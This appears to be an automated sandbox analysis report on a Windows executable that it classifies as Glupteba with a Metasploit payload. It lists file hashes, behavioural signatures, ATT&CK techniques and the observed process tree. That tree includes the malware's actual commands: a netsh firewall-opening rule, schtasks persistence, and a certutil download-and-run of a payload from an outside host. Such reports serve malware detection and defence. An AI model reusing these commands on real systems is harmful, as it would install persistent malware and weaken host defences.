Overview

overview

10

Static

static

3

8e7c89a21c...18.exe

windows7-x64

10

8e7c89a21c...18.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    144s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12-08-2024 11:00

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General

  • Target

    8e7c89a21c8f3a03934cda4730eb534e_JaffaCakes118.exe

  • Size

    3.9MB

  • MD5

    8e7c89a21c8f3a03934cda4730eb534e

  • SHA1

    f3f4dbe6b3d23f0be0ff76e55bbfd12f81b274e9

  • SHA256

    b634287f812f5132a4e95c8a69ee13bd5a58a987632182f773e124640af65216

  • SHA512

    2c0a661c924068bc807a2c61f67dc6223e02663ca9324ecefae65e8e7f3341d74d816570e169a54b888192e11cd195c8bb907c002c17c13a81b18424a8af8961

  • SSDEEP

    98304:jyouz9zy5FDSIjXzmvQ/Vvxi8PfoXiuWedBpFk:jiRy5FFj8Q/VvMhZ5

Score
10/10
gluptebametasploitbackdoordiscoverydropperevasionloaderpersistenceprivilege_escalationrootkittrojan

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba payload 20 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

    trojanbackdoormetasploit
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    evasion
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

    rootkitevasion
  • Modifies boot configuration data using bcdedit 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Program crash 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
    evasionspywaretrojan
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\8e7c89a21c8f3a03934cda4730eb534e_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\8e7c89a21c8f3a03934cda4730eb534e_JaffaCakes118.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4464
    • C:\Users\Admin\AppData\Local\Temp\8e7c89a21c8f3a03934cda4730eb534e_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\8e7c89a21c8f3a03934cda4730eb534e_JaffaCakes118.exe"
      2⤵
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3656
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3572
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:3160
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Modifies system certificate store
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4900
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4228
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4572
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          PID:4664
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:4940
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 3656 -s 724
        3⤵
        • Program crash
        PID:2472
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 4464 -s 804
      2⤵
      • Program crash
      PID:2652
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4464 -ip 4464
    1⤵
      PID:3164
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 3656 -ip 3656
      1⤵
        PID:1604

      Network

      MITRE ATT&CK Enterprise v15

      Reconnaissance

      Resource Development

      Initial Access

      Execution

      Scheduled Task/Job

      1
      T1053

      Scheduled Task

      1
      T1053.005

      Persistence

      Boot or Logon Autostart Execution

      1
      T1547

      Registry Run Keys / Startup Folder

      1
      T1547.001

      Create or Modify System Process

      1
      T1543

      Windows Service

      1
      T1543.003

      Event Triggered Execution

      1
      T1546

      Netsh Helper DLL

      1
      T1546.007

      Scheduled Task/Job

      1
      T1053

      Scheduled Task

      1
      T1053.005

      Privilege Escalation

      Boot or Logon Autostart Execution

      1
      T1547

      Registry Run Keys / Startup Folder

      1
      T1547.001

      Create or Modify System Process

      1
      T1543

      Windows Service

      1
      T1543.003

      Event Triggered Execution

      1
      T1546

      Netsh Helper DLL

      1
      T1546.007

      Scheduled Task/Job

      1
      T1053

      Scheduled Task

      1
      T1053.005

      Defense Evasion

      Impair Defenses

      1
      T1562

      Disable or Modify System Firewall

      1
      T1562.004

      Modify Registry

      2
      T1112

      Subvert Trust Controls

      1
      T1553

      Install Root Certificate

      1
      T1553.004

      Credential Access

      Discovery

      Query Registry

      2
      T1012

      System Information Discovery

      1
      T1082

      System Location Discovery

      1
      T1614

      System Language Discovery

      1
      T1614.001

      Lateral Movement

      Collection

      Command and Control

      Exfiltration

      Impact

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
        Filesize

        1.7MB

        MD5

        13aaafe14eb60d6a718230e82c671d57

        SHA1

        e039dd924d12f264521b8e689426fb7ca95a0a7b

        SHA256

        f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

        SHA512

        ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

        Download Submit

      • C:\Windows\rss\csrss.exe
        Filesize

        3.9MB

        MD5

        8e7c89a21c8f3a03934cda4730eb534e

        SHA1

        f3f4dbe6b3d23f0be0ff76e55bbfd12f81b274e9

        SHA256

        b634287f812f5132a4e95c8a69ee13bd5a58a987632182f773e124640af65216

        SHA512

        2c0a661c924068bc807a2c61f67dc6223e02663ca9324ecefae65e8e7f3341d74d816570e169a54b888192e11cd195c8bb907c002c17c13a81b18424a8af8961

        Download Submit

      • memory/3656-5-0x0000000000400000-0x0000000000C26000-memory.dmp

        Filesize

        8.1MB

        Download

      • memory/3656-6-0x0000000000400000-0x0000000000C26000-memory.dmp

        Filesize

        8.1MB

        Download

      • memory/3656-7-0x0000000000400000-0x0000000000C26000-memory.dmp

        Filesize

        8.1MB

        Download

      • memory/3656-17-0x0000000000400000-0x0000000000C26000-memory.dmp

        Filesize

        8.1MB

        Download

      • memory/4464-1-0x0000000002A60000-0x0000000002E16000-memory.dmp

        Filesize

        3.7MB

        Download

      • memory/4464-2-0x0000000002E20000-0x0000000003624000-memory.dmp

        Filesize

        8.0MB

        Download

      • memory/4464-3-0x0000000000400000-0x0000000000C1E000-memory.dmp

        Filesize

        8.1MB

        Download

      • memory/4464-8-0x0000000000400000-0x0000000000C26000-memory.dmp

        Filesize

        8.1MB

        Download

      • memory/4464-9-0x0000000000400000-0x0000000000C1E000-memory.dmp

        Filesize

        8.1MB

        Download

      • memory/4464-10-0x0000000002E20000-0x0000000003624000-memory.dmp

        Filesize

        8.0MB

        Download

      • memory/4900-21-0x0000000000400000-0x0000000000C26000-memory.dmp

        Filesize

        8.1MB

        Download

      • memory/4900-23-0x0000000000400000-0x0000000000C26000-memory.dmp

        Filesize

        8.1MB

        Download

      • memory/4900-24-0x0000000000400000-0x0000000000C26000-memory.dmp

        Filesize

        8.1MB

        Download

      • memory/4900-25-0x0000000000400000-0x0000000000C26000-memory.dmp

        Filesize

        8.1MB

        Download

      • memory/4900-26-0x0000000000400000-0x0000000000C26000-memory.dmp

        Filesize

        8.1MB

        Download

      • memory/4900-27-0x0000000000400000-0x0000000000C26000-memory.dmp

        Filesize

        8.1MB

        Download

      • memory/4900-28-0x0000000000400000-0x0000000000C26000-memory.dmp

        Filesize

        8.1MB

        Download

      • memory/4900-29-0x0000000000400000-0x0000000000C26000-memory.dmp

        Filesize

        8.1MB

        Download

      • memory/4900-31-0x0000000000400000-0x0000000000C26000-memory.dmp

        Filesize

        8.1MB

        Download

      • memory/4900-32-0x0000000000400000-0x0000000000C26000-memory.dmp

        Filesize

        8.1MB

        Download

      • memory/4900-33-0x0000000000400000-0x0000000000C26000-memory.dmp

        Filesize

        8.1MB

        Download

      • memory/4900-34-0x0000000000400000-0x0000000000C26000-memory.dmp

        Filesize

        8.1MB

        Download